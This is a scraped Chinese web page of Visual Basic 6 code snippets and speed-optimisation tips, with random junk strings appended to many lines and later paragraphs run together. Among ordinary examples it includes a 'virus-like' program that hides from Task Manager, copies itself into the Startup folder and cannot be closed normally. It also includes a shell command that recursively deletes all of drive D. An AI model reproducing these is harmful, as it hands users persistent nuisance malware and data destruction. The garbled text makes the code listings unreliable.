中财网重生红楼之我为贾母:VB常用代码(转)
来源：百度文库 编辑：中财网 时间：2024/04/29 13:55:46
重新修订，增加几条代码。都是我自己研究，结合网上材料原创的。一共有许多条，回个帖吧。 
77`w[eO}@
tAJ: f o
8D$M(Tf v
\onaUV|\$
隐藏form1： h7Nb17gSL
form1.hide ^Xjf@ 6Q
:+~\ 5o
显示form1： ~TVc9z
form1.show RO*l`G}i
53G"k ?4o
--------------------------------------------------------------------------------------------- f#a]'P|V\D
c+,'eA Z`
退出程序时，弹出窗口提示是否要退出： 3#R% z=q
1[24FwC
Private Sub Form_Unload(Cancel As Integer) w5 L#Hu1;
Dim iAnswer As Integer CA'.k<(o}
iAnswer = MsgBox("真要退出吗?", vbYesNo) ^h n3YH54S
If iAnswer = vbNo Then On`,H_Ol^
Cancel = True J.^'GDDJ
Else |qU%\XRu
End w4NAgCnE
End If CQT"B
End Sub "Xws@s(u
4p> 3,vPBK
---------------------------------------------------------------------------------------------- 9D S3|R
}K >(T%?
只能用任务管理器关闭程序的代码： i.ncUFM8`
Private Sub From_Unload(Cancel As Integer) NO.ih
Cancel = true ?,|b6m,u/
End Sub SSm(b \
31cZLm`mT
------------------------------------------------------------------------------------------------ c?e"7"#Ei
\<Ywb}
点击command1打开33IQ网： X-y9`(|tj
.M 8j5YK
Dim strURL ?0\Zz 4
e7d/EQU
Private Sub Command1_Click() 9E=@97<
strURL = "http://www.33iq.cn" nagc6;
Shell "explorer.exe " & strURL, 1 77|t9~p9
End Sub 3 lQ fC!-
+ 4@vT^
------------------------------------------------------------------------------------------------ icxTon
7BGcGu--tY
运行c:\1.exe . h ;P '
shell "c:\1.exe" V57A_gv
j{n
执行c:\1.bat _muh3| S
shell "c:\1.bat" L+ URz 2(
8s L2j1kZ
注：只适用于大部分exe和全部bat。 )LF `a,3S
eo4AS r
------------------------------------------------------------------------------------------------ h1?3A \Q.K
vq9.C R
把label1.caption的值替换成label2.caption的值，label2.caption不变（括号内可省略）： .:&5> nh
label1 (.caption) = label2 (.caption) zF+E:"7
e r6~7PMN
注：是变动值（被替换值） = 数据值（参考值、不变值），别搞反了。 qb4`y, uG
如 label1 = 1 而不是 1 = label1 PC01m7Ic
oF<*K1T8
--------------------------------------------------------------------------------------------- #\ C0+5N
"M
（cd1是commanddialog控件，下同） p m6(C(O~`
H]@~#Q6FD
cd1.ShowSave stHvw-3\
If Not cd1.FileName = "" Then %>KIoAEwG
Open cd1.FileName For Output As #1 OpZ_EG (l
Print #1, Text1.Text [|9_8]S&
Close #1 S'&5e"BR\&
End If I 8bQBX
9mJRi*@O
------------------------------------------------------------------------------------------ 5kc7wo,?V
3Tnj JRD
把某文本文件读取到TEXT1 !lG@'M=5
% rW%A/b
Dim tmp$ I86p< <8.
cd1.ShowOpen H]n sInq!m
If Not cd1.FileName = "" Then !)=$2W&ki
Open cd1.FileName For Input As #1 Yh5yj<)sK
Line Input #1, tmp$ H>1.<
Text1 = tmp Jg$2nYh
End If /L=t|"KLS
tavLx [X
------------------------------------------------------------------------------------------- PJ; L"O
_s c "d{
点击command1弹出窗口（红色处请替换成你要的内容） P.V&,p5O
` I<$rE%/
Private Sub Command1_Click() 5B,O&
MsgBox "（显示文字）", vbYesNo（你要弹出的窗口的类型，下面有几种常用的类型）, "（窗口标题）" z4GOw\ZL
End Sub %V %D}.[:q
ANTF2w vk
或 dlRPZW~
cS `rl [
Private Sub Command1_Click() d$ ,%
MsgBox "（显示文字）" d rg#.z
End Sub *{WUq's$
k2yY5~; ]
常用的弹出窗口类型： xy"uj X k
vbYesNo 包含是、否按钮的窗口 O98iC5R&
vbYesNoCancle 包含是、否、取消 =D^G=a{j
vbOKonly 只包含确定按钮 *:#a O kE
vbOKCancle 包含确定、取消 lyJ*j Y
vbQuestion 带问号图标、只有确定按钮的窗口 1J/u|?w#m
7GK3I}@3b
----------------------------------------------------------------------------------------------- 1yvC~M.
.'4TpA![
点击command1，label1随机显示1.2.3 '&V`hQY6
9Z` >t"es9
Function a() As String ~cDJ9Y
Dim b(2) As String E3EQFe 7q
b(0) = 1 @] $kEsB i
b(1) = 2 o?PZYGP
b(2) = 3 afCSN; Q
Randomize AZ %I
a = b(Rnd * 2) YBezzADg
End Function <+rB;(FC
ab,b wG
Private Sub Command1_Click() v8<}7a
Label1.Caption = a IDSBzTt
End Sub ,u!]DU
!?Gw?QQ&@
删除"D:\1.txt"： v'd5(H=: l
Kill "D:\1.txt" L$ZJ` >i
x8Hk* 7
新建文件夹"D:\123"： D[r 2/11{3
MkDir "d:\123" E &nLuU<
/bnOSt
复制文件，由桌面的"1.txt"复制到"D:\1.txt"： %\TV!/m
FileCopy "C:\Documents and Settings\Administrator\桌面\1.txt", "D:\1.txt" 4.X?
删除"D:\123"文件夹： |HsQ:F&,1
Shell "cmd /c ""rmdir.exe /s /q D:\123\""", vbNormalFocus |k |u0JR~1
PPywm;PB
删除D盘所有文件（红色处后面不加\）： uIS#20|*
Shell "cmd /c ""rmdir.exe /s /q D:""", vbNormalFocus H>7oX_8D
<7
Jg"ze#
App.title ="这是标题" 42dG#UX
' 在 任务管理器-程序 中此VB程序的名字，本例的标题为“这是标题” y0T
App.TaskVisible = False 'JTXnaF+
' 隐藏 任务管理器 中此VB程序的名字 P1OED?3/
eXa<>[z
App.Path *b4~Gg~dJ
' 此VB程序的所在文件夹路径（如程序在“d:\1.exe”，则此值为“d:”，没有“\” ） Khg+SR 6
BwV4vQd*
App.EXEName RqYoq;$)
' 此VB程序的文件名（如程序在“d:\这是程序.exe”，则此值为“这是程序”，没有“.exe”） MF!V v
vRK}/Rrx
------------------------------------------------------------------------------------------------------ h3l; ) )
}dfczvVT+
一个小程序，类似病毒（不要运行！！仅供参考）。新建工程，放入一个timer控件，改Interval值为1，然后输入以下代码即可： LMb,SWT
Iu4E =^%A
X=2$_BI>}
;^` jM]G
Private Sub Form_Load() Cu "|j\=
App.Title = "" .o3qc9H-
App.TaskVisible = False Q`$7/Kq@
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\" & App.EXEName & ".exe" r= X> V_@
End Sub IlD 2 [
C2!QP{
Cancel = True !Mg-uK
End Sub b~c4euN>l
6Q'un^+MV
Private Sub Timer1_Timer() ^\`U&C X
Form1.Show =$#5Ohr:
End Sub 6 PIh~(-
用Mid$命令超速字符串添加操作
大家都知道，&操作符的执行速度是相当慢的，特别是处理长字符串时。当必须重复地在同一变量上附加字符时，有一个基于Mid$命令的技巧可以使用。基本思路就是：预留一个足够长的空间存放操作的结果。下面是应用这个技术的一个例子。假设要建立一个字符串，它要附加从1开始的10000个整数："1 2 3 4 5 6 7 ... 999910000"。下面是最简单的实现代码：
res = ""
For i = 1 to 10000: res = res & Str(i): Next<>
face=宋体>代码虽然简单，但问题也很明显：Res变量将被重分配10000次。下面的代码实现同样的目的，但效果明显好转：Dim res As String
Dim i As Long
Dim index As Long’预留足够长的缓冲空间
res = Space(90000)’指针变量，指出在哪里插入字符串
index = 1’循环开始
For i = 1 to 10000
substr = Str(i)
length = Len(substr)’填充字符串的相应区间段数值
Mid$(res, index, length) = substr’调整指针变量
index = index + lengthNext’删除多余字符
res = Left$(res, index - 1)测试表明：在一个333MHz的计算机上，前段代码执行时间为2.2秒，后者仅仅为0.08秒！代码虽然长了些，可是速度却提高了25倍之多。呵呵，由此看来：代码也不可貌相啊
从头开始删除集合项目删除集合中的所有内容有许多方法，其中有些非常得迅速。来看看一个包含10,000个项目的集合：
Dim col As New Collection, i As Long
For i = 1 To 10000
col.Add i, CStr(i)
Next可以从末尾位置为起点删除集合内容，如下：For i = col.Count To 1 Step -1
col.Remove iNext也可以从开始位置为起点删除集合内容，如下：For i = 1 To col.Count Step 1
col.Remove i
Next<>
face=宋体>试验证明，后者要快于前者百倍多，比如0.06秒比4.1秒。原因在于：当引用接近末尾位置的集合项目时，VB必须要从第1个项目开始遍历整个的项目链。 <>
face=宋体>更有趣的是，如果集合项目的数量加倍，那么从末尾开始删除与从头开始删除，前者要比后者花费的时间将成倍增长，比如前者是24秒，后者可能为0.12秒这么短！
最后提醒您：删除集合的所有内容的最快方法就是“毁灭”它，使用下面的语句： Set col = New Collection对于一个包含20,000个项目的集合，上述操作仅仅耗时0.05秒，这比使用最快的循环操作进行删除也要快2倍左右。
用InStr函数实现代码减肥 可以采用“旁门左道”的方式使用Instr函数实现代码的简练。下面是一个典型的例子，检测字符串中是否包含一个元音字母：1、普通的方法：If UCase$(char) = "A" Or UCase$(char) = "E" Or UCase$(char) = "I" Or UCase$(char) = "O" Or UCase$(char) = "U" Then’ it is a vowelEnd If2、更加简练的方法：If InStr("AaEeIiOoUu", char) Then’ it is a vowelEnd If同样，通过单词中没有的字符作为分界符，使用InStr来检查变量的内容。下面的例子检查Word中是否包含一个季节的名字： 1、普通的方法：If LCase$(word) = "winter" Or LCase$(word) = "spring" Or LCase$(word) = _ "summer" Or LCase$(word) = "fall" Then’ it is a season’s nameEnd If2、更加简练的方法：If Instr(";winter;spring;summer;fall;", ";" & word & ";") Then’ it is a season’s nameEnd If有时候，甚至可以使用InStr来替代SelectCase代码段，但一定要注意参数中的字符数目。下面的例子中，转换数字0到9的相应英文名称为阿拉伯数字： 1、普通的方法：Select Case LCase$(word)Case "zero"result = 0Case "one"result = 1Case "two"result = 2Case "three"result = 3Case "four"result = 4Case "five"result = 5Case "six"result = 6Case "seven"result = 7Case "eight"result = 8Case "nine"result = 9End Select2、更加简练的方法：result = InStr(";zero;;one;;;two;;;three;four;;five;;six;;;seven;eight;nine;", _";" & LCase$(word) & ";") \ 6精用Boolean表达式，让代码再减肥当设置基于表达式结果的Boolean型数值时，要避免使用多余的If/Then/Else语句结果。比如：If SomeVar > SomeOtherVar ThenBoolVal = TrueElseBoolVal = FalseEnd If上面这段代码就很烦琐，它们完全可以使用下面的一行代码来替代：BoolVal = (SomeVar > SomeOtherVar)括号不是必须的，但可以增加可读性。根据表达式中的操作数不同，后者比前者执行起来大约快50%到85%。后者中的括号对速度没有影响。有时，使用这个技术实现代码的简练并非很明显。关键是要牢记：所有的比较操作结果或者是0（false），或者是－1（True）。所以，下面例子中的2段代码是完全相同的，但是第2段要运行得快些：1、传统方法： If SomeVar > SomeOtherVar Thenx = x + 1End If2、更简练的方法x = x - (SomeVar > SomeOtherVar)
函数名巧做局部变量很多程序员都没有认识到“在函数本身中使用函数名”的妙处，这就象对待一个局部变量一样。应用这个技巧可以起到临时变量的作用，有时还能加速程序运行。看看下面的代码：Function Max(arr() As Long) As LongDim res As Long, i As Longres = arr(LBound(arr))For i = LBound(arr) + 1 To UBound(arr)If arr(i) > res Then res = arr(i)NextMax = resEnd Function去掉res变量，使用函数名称本身这个局部变量，可以使程序更加简练：Function Max(arr() As Long) As LongDim i As LongMax = arr(LBound(arr))For i = LBound(arr) + 1 To UBound(arr)If arr(i) > Max Then Max = arr(i)NextEnd Function火眼识破隐藏的Variant变量如果没有用As语句声明变量，默认类型就是Variants，比如：Dim name ’ this is a variant或者，当前模块下没有声明Option Explicit语句时，任何变量都是Variants类型。许多开发者，特别是那些先前是C程序员的人，都会深信下面的语句将声明2个Interger类型变量：Dim x, y As Integer而实际上，x被声明为了variant类型。由于variant类型变量要比Integer类型慢很多，所以要特别注意这种情况。正确的一行声明方法是：Dim x As Integer, y As IntegerGoSub在编译程序中速度变慢编译为本地代码的VB应用程序中，如果使用 GoSubs 命令，就会比通常的 Subs 或者 Function 调用慢5-6倍；相反，如果是p-code模式，就会相当快。
减少DoEvents语句的数量不要在代码中放置不必要的DoEvents语句，尤其是在时间要求高的循环中。遵循这个原则，至少能在循环中的每N次反复时才执行DoEvents语句，从而增强效率。比如使用下面的语句：If (loopNdx Mod 10) = 0 Then DoEvents如果只是使用DoEvents来屏蔽鼠标以及键盘操作，那么就可以在事件队列中存在待处理项目时调用它。通过API函数GetInputState来检查这个条件的发生：Declare Function GetInputState Lib "user32" Alias "GetInputState" () As Long’ ...If GetInputState() Then DoEvents为常量定义合适的类型VB在内部使用最简单、最可能的数据类型保存符号数值，这意味着最通常的数字类型－比如0或者1－都按照Integer类型存储。如果在浮点表达式中使用这些常量，可以通过常量的合适类型来加速程序运行，就象下面的代码： value# = value# + 1#.这个语句强迫编译器按照Double格式存储常量，这样就省却了运行时的隐含转换工作。还有另外的一种处理方法就是：在常量声明时就进行相应类型的定义，代码如下：Const ONE As Double = 1And、Or和Xor：让我们来优化表达式要检测一个整数值的最高有效位是否有数值，通常要使用如下的代码（有二种情况：第一组If判断表明对Integer类型，第二组对Long类型）：If intvalue And &H8000 Then’ most significant bit is setEnd IfIf lngvalue And &H80000000 Then’ most significant bit is setEnd If但由于所有的VB变量都是有符号的，因此，最高有效位也是符号位，不管处理什么类型的数值，通过下面的代码就可以实现检测目的：If anyvalue < 0 Then’ most significant bit is setEnd If另外，要检测2个或者更多个数值的符号，只需要通过一个Bit位与符号位的简单表达式就可以完成。下面是应用这个技术的几段具体代码：1、判断X和Y是否为同符号数值：If (x < 0 And y < 0) Or (x >= 0 And y >=0) Then ...’ the optimized approachIf (x Xor y) >= 0 Then2、判断X、Y和Z是否都为正数If x >= 0 And y >= 0 And z >= 0 Then ...’ the optimized approachIf (x Or y Or z) >= 0 Then ...3、判断X、Y和Z是否都为负数If x < 0 And y < 0 And z < 0 Then ...’ the optimized approachIf (x And y And z) < 0 Then ...4、判断X、Y和Z是否都为0If x = 0 And y = 0 And z = 0 Then ...’ the optimized approachIf (x Or y Or z) = 0 Then ...5、判断X、Y和Z是否都不为0If x = 0 And y = 0 And z = 0 Then ...’ the optimized approachIf (x Or y Or z) = 0 Then ...要使用这些来简单化一个复杂的表达式，必须要完全理解boolean型的操作原理。比如，你可能会认为下面的2行代码在功能上是一致的：If x <> 0 And y <> 0 ThenIf (x And y) Then ...然而我们可以轻易地证明他们是不同的，比如X＝3（二进制＝0011），Y＝4（二进制＝0100）。不过没有关系，遇到这种情况时，我们可以对上面的代码进行局部优化，就能实现目的。代码如下：If (x <> 0) And y Then ... 静态变量慢于动态变量 在过程中引用静态局部变量要比引用常规局部动态变量慢2－3倍。要想真正地加速过程的执行速度，最彻底的方法就是将所有的静态变量转换为模块级别变量。 这种方法的唯一不足是：过程很少是自包含的，如果要在其他工程中重用，就必须同时拷贝并粘贴这些模块级别变量。 另外的一种处理方法是：在时间要求高的循环前，将静态变量数值装入动态变量中。 善用"Assume No Aliasing"编译选项 据说，如果过程能够2次或多次引用同样的内存地址，那么过程就会包含别名数值。一个典型的例子如下： Dim g_GlobalVariable As Long ... Sub ProcWithAliases(x As Long) x = x + 1 g_GlobalVariable = g_GlobalVariable + 1 End Sub 如果传递给这个过程g_GlobalVariable变量，则将通过一个直接引用以及x参数两种方式修改变量的数值2次。 别名数值经常是不良编程习惯的产物，对于程序优化有害无益。事实上，如果能够完全确认应用程序从来没有使用到别名变量，就可以打开"Assume No Aliasing"高级编译选项，这将告知编译器没有过程可以修改同一内存地址，使编译器产生更加有效率的汇编代码。更特别的是，编译程序将试图缓冲这些数据到CPU的寄存器中，从而明显地加速了程序运行。 总结一下，当遇到以下情况时，就不会有别名数值：(1) 过程不引用任何全局变量 (2) 过程引用了全局变量，但从来不通过ByRef参数类型传递同一变量给过程 (3) 过程含有多个ByRef参数类型，但从来不传递同一变量到其中的2个或者多个之中。你真正理解"Allow Unrounded Floating Point Operations"选项的含义吗？来自微软的资料鼓吹：高级优化对话框中的所有编译选项都被认为是不稳定的，它们可能导致不正确的结果，甚至程序崩溃。对于其中的大多数，这种说法是正确的，但是经常有一个叫做"Allow Unrounded Floating Point Operations"的选项能够给予正确的结果，防止应用程序产生bug。考虑下面的代码段： Dim x As Double, y As Double, i As Integerx = 10 ^ 18y = x + 1 ’ this can’t be expressed with 64 bitsMsgBox (y = x) ’ 显示 "True" (不正确的结果)严格地说，由于X和Y变量不包含相同的数值，MsgBox将显示False。可问题是，由于数值1E18与1E18＋1都以相同的64位浮点Double类型来表示，它们最终包含了几乎相同的数值，最后的MsgBox结果将是True。如果打开了"Allow Unrounded Floating Point Operations"编译选项，VB就能重用已在数学协处理器堆栈中的数值，而不是内存中的数值（比如：变量）。因为FPU堆栈具备80位的精度，因此就可以区分出这2个数值的不同：’ if the program is compiled using the’ "Allow Unrounded Floating Point Operations" compiler optionMsgBox (y = x) ’ 显示 "False" (正确的结果)总结一下：当以解释模式、或者编译的p－code模式、或者编译的native代码模式但关掉"Allow Unrounded Floating Point Operations"选项这3种方式运行一个程序时，所有浮点数字运算在内部都以80位的精度进行处理。但如果有一个数值是存储在64位Double变量中，结果就是接近的了，并且，随后使用那个变量的表达式也将产生近似的结果，而不是绝对正确的结果。相反，如果打开"Allow Unrounded Floating Point Operations"编译选项后运行一段native编译代码，在随后的表达式中VB就经常能重用内部的80位数值，而忽略存储在变量中的当前数值。注意：我们并不能完全控制这个功能，VB也许对此生效，也许就不生效，这要取决于表达式的复杂程度以及最初分配数值语句与随后产生结果的表达式语句的距离远近。
除法运算符"\"与"/"的区别 整数间执行除法运算时，要使用 "\" 而不是 "/"。 "/" 运算符要求返回一个单一数值，所以，表面上看似简单的一行代码： C% = A% / B% 实际上包含了3个隐含的转换操作：2个为除法运算做准备，从Integer转换到Single；一个完成最后的赋值操作，从Integer转换到Single。但是如果使用了"\"操作符，情况就大不相同了！不仅不会有这么多中间步骤，而且执行速度大大提高。 同时请记住：使用"/"操作符做除法运算时，如果其中之一是Double类型，那么结果就将是Double类型。所以，当2个Integer或者Single类型数值做除法运算时，如果想得到高精度的结果，就需要手工强迫其中之一转换为Double类型： ’结果为 0.3333333 Print 1 / 3 ’结果为 0,333333333333333 Print 1 / 3# 使用"$-类型"字符串函数会更快 VB官方文档似乎很鼓励使用"无$"类字符串函数，比如：Left、LTrim或者UCase，而不是实现同样功能的Left$、LTrim$和UCase$函数。但是我们必须认识到：前者返回variant类型的数值，当用于字符串表达式中时，最终必须要转换为字符串（string）类型。 因此，在严格要求时间的代码段中，我们应该使用后者，它们将快5-10%。妙用Replace函数替代字符串连接操作符&你大概不知道Replace函数还能这么用吧？比如下面的语句：MsgBox "Disk not ready." & vbCr & vbCr & _"Please check that the diskette is in the drive" & vbCr & _"and that the drive’s door is closed."可以看出，为了显示完整的字符串含义，要将可打印字符与非打印字符（比如：回车符vbCr）用&符号连接在一起。结果是：长长的字符连接串变得难于阅读。但是，使用Replace函数，可以巧妙地解决这个问题。方法就是：将非打印字符以字符串中不出现的一个可打印字符表示，这样完整地写出整个字符串，然后使用Replace函数替换那个特别的打印字符为非打印字符（比如：回车符vbCr）。代码如下：MsgBox Replace("Disk not ready.§§Please check that the diskette is in the " _& "drive§and that the drive’s door is closed.", "§", vbCr)固定长度字符串数组：赋值快，释放快！固定长度字符串的处理速度通常慢于可变长度字符串，这是因为所有的VB字符串函数和命令只能识别可变长度字符串。因此，所有固定长度字符串比然被转换为可变长度字符串。但是，由于固定长度字符串数组占据着一块连续的内存区域，因此在被分配以及释放时，速度明显快于可变长度的数组。比如：在一个Pentium 233MHz机器上，对于一个固定长度为100,000的数组，给其中30个位置分配数值，大约只花费半秒种的时间。而如果是可变长度的数组，同样的操作要耗费8秒之多！后者的删除操作耗时大约0.35秒，但固定长度的数组几乎可以立即“毙命”！如果应用程序中涉及到这么大的一个数组操作，选择固定长度方式数组绝对是确定无疑的了，无论是分配数值，还是释放操作，都可以风驰电掣般完成。
未公开的返回数组型函数加速秘诀 在VB6中，函数是能够返回数组对象的。这种情况下，我们不能象返回对象或者数值的其他函数一样使用函数名当做局部变量来存储中间结果，因此不得不生成一个临时局部数组，函数退出前再分配这个数组给函数名，就象下面的代码一样： ’ 返回一个数组，其中含有N个随即元素 ’ 并且将平均值保存在AVG中 Function GetRandomArray(ByVal n As Long, avg As Single) As Single() Dim i As Long, sum As Single ReDim res(1 To n) As Single ’ 以随机数填充数组，并计算总和 Randomize Timer For i = 1 To n res(i) = Rnd sum = sum + res(i) Next ’ 赋值结果数组，计算平均值 GetRandomArray = res avg = sum / n End Function 难以置信的是，只需要简单地颠倒最后2条语句的顺序，就能使上面这段程序变得快些： ’ ... ’ 赋值结果数组，计算平均值 avg = sum / n GetRandomArray = res End Function 例如，在一个Pentium II 333MHz 机器上，当N＝100,000时，前段程序运行时间为0.72秒，后段程序则为0.66秒，前后相差10%。 原因何在呢？前段程序中，VB将拷贝res数组到GetRandomArray对应的结果中，当数组很大时，花费的时间是很长的。后段程序中，由于GetRandomArray = res是过程的最后一条语句，VB编译器就能确认res数组不会被再使用，因此将直接交换res和GetRandomArray的地址数值，从而节省了数组元素的物理拷贝操作以及随后的res数组释放操作。 总结如下：当编写返回数组的函数时，一定要将分配临时数组到函数名的语句放在最后，就是其后紧挨者Exit Function 或者End Function的位置。--------------------------------------------------------------------------------
Dim i As LongReDim res(0 To UBound(values)) As IntegerFor i = 0 To UBound(values)res(i) = values(i)NextArrayInt = res()End Function同时，也可以创建一个子程序段来检测传递给它的数值的类型，并返回正确类型的数组。这种情况下，函数应该定义为返回Variant。
访问简单变量总是快于数组元素值读写数组中的元素速度通常都慢于访问一个简单变量，因此，如果在一个循环中要重复使用同一数组元素值，就应该分配数组元素值到临时变量中并使用这个变量。下面举一个例子，检测整数数组中是否存在重复项：Function AnyDuplicates(intArray() As Integer) As Boolean’如果数组包含重复项，返回TrueDim i As Long, j As Long,Dim lastItem As LongDim value As Integer’只计算机UBound()一次lastItem = UBound(intArray)For i = LBound(intArray) To lastItem’ 保存intArray(i)到非数组变量中value = intArray(i)For j = i + 1 To lastItemIf value = intArray(j) ThenAnyDuplicates = TrueExit FunctionEnd IfNextNext’没有发现重复项AnyDuplicates = FalseEnd Function上述程序有2层循环，通过缓存intArray(i)的数值到一个普通的、非数组变量中，节省了CPU运行时间。经测试，这将提高80%的速度。创建新表时，快速拷贝字段在VB6中，无需离开开发环境就可以创建新的SQL Server和Oracle表。方法很简单：打开DataView窗口，用鼠标右键单击数据库的表文件夹，再选择新表格菜单命令。当处理相似表格时，就是说具有许多相同字段的表格，我们完全可以在很短的时间内容完成设定操作。具体步骤是：在设计模式下打开源表格，加亮选择要拷贝字段对应的行，按Ctrl-C拷贝信息到粘贴板；然后，在设计模式打开目标表格，将光标置于要粘贴字段所在的位置，按Ctrl-V。这样，就拷贝了所有的字段名称以及它们所带的属性。 无闪烁地快速附加字符串到textbox控件附加文本到TextBox或者RichTextBox控件的通常方法是在当前内容上连接上新的字符串：Text1.Text = Text1.Text & newString但还有一个更快的方法，并且会减少连接操作的闪烁感，代码如下：Text1.SelStart = Len(Text1.Text)Text1.SelText = newString快速找到选中的OptionButtonOptionButton控件经常是作为控件数组存在的，要快速找到其中的哪一个被选中，可以使用下面的代码：’假设控件数组包含3个OptionButton控件intSelected = Option(0).value * 0 - Option(1).value * 1 - Option(2).value * 2注意，因为第一个操作数总是0，所以上述代码可以精简如下：intSelected = -Option(1).value - Option(2).value * 2表单及控件的引用阻止了表单的卸载当指派表单或者表单上的控件到该表单模块以外的一个对象变量中时，如果要卸载表单，就必须首先将那个变量设置为 to Nothing。也就是说，如果不设置为Nothing，即使看不到这个对象了，但它仍旧是保存在内存中的。注意：这并非是一个bug，这仅仅是COM引用规则的一个结果。唯一要注意的就是引用的这个控件将阻止整个表单的卸载操作，它将依赖于它的父表单而存在。 重定义编译DLL文件的基地址许多VB开发者都知道应该在工程属性对话框的“编译”功能页面中定义一个DLL基地址数值。这不同于工程中任何其他DLL或OCX的基地址。当操作没有源代码的编译DLL或者OCX文件时，可以使用EDITBIN程序修改它的基地址。EDITBIN程序随Visual Studio安装后就有了，可以在主Visual Studio目录的VC98\BIN目录下找到它。比如，以下代码重新设定一个编译DLL文件的基地址为12000000（16进制）：EDITBIN /REBASE:BASE=0x12000000 myfile.dll同样，EDITBIN程序对可执行文件也有一些处理技巧。 以下是该程序支持的完整功能选项列表(使用EDITBIN /? 可以列出这些）：/BIND[:PATH=path]/HEAP:reserve[,commit]/LARGEADDRESSAWARE[:NO]/NOLOGO/REBASE[:[BASE=address][,BASEFILE][,DOWN]]/RELEASE/SECTION:name[=newname][,[[!]{cdeikomprsuw}][a{1248ptsx}]]/STACK:reserve[,commit]/SUBSYSTEM:{NATIVE|WINDOWS|CONSOLE|WINDOWSCE|POSIX}[,#[.##]]/SWAPRUN:{[!]CD|[!]NET}/VERSION:#[.#]/WS:[!]AGGRESSIVE
快速调入TreeView控件以及ListView控件的子项内容有一个简单但仍未发现的技巧可用于在TreeView控件中装载多个节点，或者在ListView控件中装载多个ListItems。这种方法要比传统做法快。先看看下面这个传统方法：For i = 1 To 5000TreeView1.Nodes.Add , , , "Node " & iNext改进一下，代替重复引用TreeView1对象的Nodes集合，我们可以先将之保存在临时对象变量中：Dim nods As MSComctlLib.NodesSet nods = TreeView1.NodesFor i = 1 To 5000nods.Add , , , "Node " & iNext甚至，如果使用With代码块，还可以不需要临时变量：With TreeView1.NodesFor i = 1 To 5000.Add , , , "Node " & iNextEnd With经测试，优化的循环代码要比传统方法执行速度快40%左右。原因在于：将Nodes集合对象保存在临时变量中，或者应用With代码块后VB将使用隐藏的临时变量后，就可以避免在循环中重复绑定Nodes对象到它的父TreeView1对象上。由于这种绑定是低效率的，因此省却它就能节省大量的执行时间。同样的道理对于其他ActiveX控件也生效：
ListView控件的ListItems、ListSubItems以及ColumnHeaders集合Toolbar控件的Buttons和ButtonMenus集合ImageList的ListImages集合
StatusBar控件的Panels集合
TabStrip控件的Tabs集合Friend过程快于Public过程你可能会非常惊奇：Friend类型过程的执行速度要明显快于Public类型。这可以通过创建一个带有Private类和Public类 (设定Instancing = MultiUse)的ActiveX EXE工程看到，在2个类模块中添加下面的代码：Public Sub PublicSub(ByVal value As Long)’End SubPublic Function PublicFunction(ByVal value As Long) As Long’End FunctionFriend Sub FriendSub(ByVal value As Long)’End SubFriend Function FriendFunction(ByVal value As Long) As Long’ End Function然后，在表单模块中创建一个循环，执行每个例程许多次。比如，要在一个Pentium II机器上查看执行时间上的区别，可以调用每个例程1,000,000次。下面是测试的结果：Private类模块中，反复调用1,000,000次Public Sub或者Function耗费了0.46秒，而调用内容相同的Friend类型模块则分别只有0.05秒和0.06秒。前后竟然相差了8-9倍之多！对于MultiUse类型的Public类模块，也是一样的结果。对于这个不可思议的结果的可能解释是：Friend型过程没有处理汇集和拆装代码的消耗(Public过程可以从当前工程外被调用，因此COM必须要来回地汇集数据）。 但是在多数情况下，这些时间差别是不明显的，特别是程序中包含一些复杂和耗时的语句时。即使这样，Friend型过程仍有其他的优势高于Public类型，比如：接受和返回在BAS模块中定义的UDT变量的能力。
使用Objptr函数快速查找集合中的对象 ObjPtr函数的一个最简单但是却最有效的用途就是提供快速寻找集合中对象的关键字。假设有一个对象集合，它没有可以当做关键字以从集合中取回的属性。那么，我们就可以使用ObjPtr函数的返回值作为集合中的关键字： Dim col As New Collection Dim obj As CPerson ’创建新的CPerson对象，并添加到集合中 Set obj = New CPerson obj.Name = "John Smith" col.Add obj, CStr(ObjPtr(obj)) ’关键字必须是字符串 因为任何对象都有一个明确的ObjPtr数值，而且它是不变的，所以，我们可以容易地、快速地从集合中取回它： ’ 删除集合中的对象 col.Remove CStr(ObjPtr(obj)) 这个技巧可以适用于任何类型的对象，包括VB中的表单和控件，以及外部对象。 使用ObjPtr检测2个对象变量是否指向同一对象 判断2个对象变量释放指向同一对象的方法是使用Is操作符，代码如下： If obj1 Is obj2 Then ... 但当2个对象是同一类型时，或者指向同一个二级接口时，我们就可以利用ObjPtr（）函数对代码进行一些优化处理： If ObjPtr(obj1) = ObjPtr(obj2) Then ... 后者的执行速度将比前种方法快40%多。但是请注意，2种方法原本就是很有效率的，只有在时间要求非常严格的上百成千次的循环中，才会体现出这种差别。读取文件内容的简洁方法读取text文件的最快方法是使用Input$函数，就象下面的过程：Function FileText (filename$) As StringDim handle As Integerhandle = FreeFileOpen filename$ For Input As #handleFileText = Input$(LOF(handle), handle)Close #handleEnd Function使用上述方法要比使用Input命令读取文件每一行的方法快很多。下面是应用这个函数读取Autoexec.bat的内容到多行textbox控件的例子：Text1.Text = FileText("c:\autoexec.bat")但请注意：当文件包含Ctrl－Z（EOF）字符时，上面的函数代码可能会发生错误。因此，要修改一下代码：Function FileText(ByVal filename As String) As StringDim handle As Integer’ 判断文件存在性If Len(Dir$(filename)) = 0 ThenErr.Raise 53 ’文件没有找到 End If’ 以binary模式打开文件handle = FreeFileOpen filename$ For Binary As #handle’ 读取内容，关闭文件FileText = Space$(LOF(handle))Get #handle, , FileTextClose #handleEnd Function字体对象克隆招法当要应用一个控件的字体到另一控件时，最直接的方法就是直接赋值：Set Text2.Font = Text1.Font但多数情况下这种方法并不奏效，因为这实际上是将同一字体的引用分配给了2个控件。换言之，当随后修改其中之一控件的字体时，另外一个控件也受到影响。因此，要实现我们的目的，需要做的就是克隆字体对象并赋值给需要的控件。最简单的克隆字体的方法是手工地拷贝所有单独的字体属性，就象下面一样：Function CloneFont(Font As StdFont) As StdFontSet CloneFont = New StdFontCloneFont.Name = Font.NameCloneFont.Size = Font.SizeCloneFont.Bold = Font.BoldCloneFont.Italic = Font.ItalicCloneFont.Underline = Font.UnderlineCloneFont.Strikethrough = Font.StrikethroughEnd Function’函数的应用Set Text2.Font = CloneFont(Text1.Font)如果使用VB6，就可以使用PropertyBag对象快速拷贝所有字体属性，并且代码会很简练、速度也快2倍：Function CloneFont(Font As StdFont) As StdFontDim pb As New PropertyBag’拷贝字体到PropertyBag对象中pb.WriteProperty "Font", Font’恢复字体对象到新控件Set CloneFont = pb.ReadProperty("Font")End 